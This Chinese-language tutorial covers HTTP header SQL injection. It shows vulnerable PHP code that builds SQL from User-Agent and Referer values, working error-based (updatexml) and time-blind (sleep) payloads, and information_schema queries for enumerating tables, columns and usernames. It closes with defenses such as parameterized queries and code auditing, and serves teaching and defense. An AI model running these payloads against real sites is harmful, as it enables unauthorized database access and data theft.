HTTP头注入漏洞分析与防御

1. HTTP头注入概述

HTTP头注入是一种Web安全漏洞，发生在应用程序未对HTTP请求头中的用户可控数据进行适当过滤的情况下。攻击者可以利用这些未经过滤的输入点注入恶意代码或命令。

1.1 常见易受攻击的HTTP头部

• User-Agent: 浏览器标识信息
• Referer: 请求来源页面
• Cookie: 客户端存储的数据
• Host: 请求的目标主机
• X-Forwarded-For: 客户端真实IP地址

2. HTTP头注入产生原因

1. 过滤不全面：开发者通常只过滤GET/POST参数，忽略HTTP头部的安全性
2. 信任客户端数据：错误地认为HTTP头数据不可被用户修改
3. 直接拼接SQL：将HTTP头数据直接拼接到SQL语句中执行

3. HTTP头注入攻击演示

3.1 User-Agent注入示例

漏洞代码特征：

$user_agent = $_SERVER['HTTP_USER_AGENT'];
$sql = "INSERT INTO security.uagents (uagent, ip_address) VALUES ('$user_agent', '$ip')";

攻击Payload：

'and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

攻击步骤：

1. 使用Burp Suite拦截请求
2. 修改User-Agent头为恶意SQL语句
3. 观察服务器响应中的错误信息

3.2 Referer注入示例

漏洞代码特征：

$referer = $_SERVER['HTTP_REFERER'];
$sql = "INSERT INTO security.referers (referer, ip_address) VALUES ('$referer', '$ip')";

攻击Payload：

'or if(ascii(substr(database(),1,1))=115,sleep(3),1) or '1'='1

攻击步骤：

1. 拦截包含Referer头的请求
2. 修改Referer值为时间盲注Payload
3. 根据响应时间判断条件是否为真

4. 注入技术详解

4.1 报错注入技术

常用函数：

• updatexml(): XML文档更新函数
• extractvalue(): XML文档查询函数

Payload构造：

'and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1

信息收集流程：

1. 获取数据库版本：select @@version
2. 获取当前数据库：select database()
3. 获取所有表名：

   select group_concat(table_name) from information_schema.tables where table_schema='security'
   

4. 获取表字段：

   select group_concat(column_name) from information_schema.columns where table_name='users'
   

5. 获取数据内容：

   select username from users where id='1'
   

4.2 时间盲注技术

基本原理：通过条件语句控制数据库响应时间

常用函数：

• if(): 条件判断
• sleep(): 延迟执行
• substr(): 字符串截取
• ascii(): 获取字符ASCII码

Payload示例：

'or if(ascii(substr(database(),1,1))=115,sleep(3),1) or '1'='1

攻击过程：

1. 猜测数据库名第一个字符的ASCII码是否为115('s')
2. 如果条件为真，则响应延迟3秒
3. 根据响应时间判断猜测是否正确

5. 防御措施

5.1 输入验证与过滤

1. 白名单验证：只允许已知安全的字符
2. 转义特殊字符：对单引号、双引号等进行转义
3. 类型检查：确保输入符合预期类型

5.2 安全编码实践

1. 使用参数化查询：避免SQL拼接

   $stmt = $pdo->prepare("INSERT INTO log (user_agent) VALUES (?)");
   $stmt->execute([$_SERVER['HTTP_USER_AGENT']]);
   

2. 最小权限原则：数据库用户只拥有必要权限
3. 错误处理：禁止显示详细错误信息

5.3 安全加固

1. WAF部署：Web应用防火墙可拦截注入攻击
2. 安全头设置：
   • Content-Security-Policy
   • X-XSS-Protection
   • X-Content-Type-Options
3. 定期安全测试：包括手动测试和自动化扫描

6. 检测方法

1. 手动测试：
   • 在每个HTTP头部添加特殊字符(如单引号)
   • 观察是否产生错误或异常行为
2. 自动化扫描：
   • 使用SQLMap等工具测试注入点
   • 配置扫描HTTP头部
3. 代码审计：
   • 检查所有使用$_SERVER超全局变量的地方
   • 追踪数据流直到数据库操作

7. 总结

HTTP头注入是Web应用中常见的安全漏洞，危害严重但容易被忽视。开发者应保持安全意识，对所有用户输入(包括HTTP头部)进行严格过滤和验证，采用参数化查询等安全编码实践，并定期进行安全测试和代码审计，确保应用的安全性。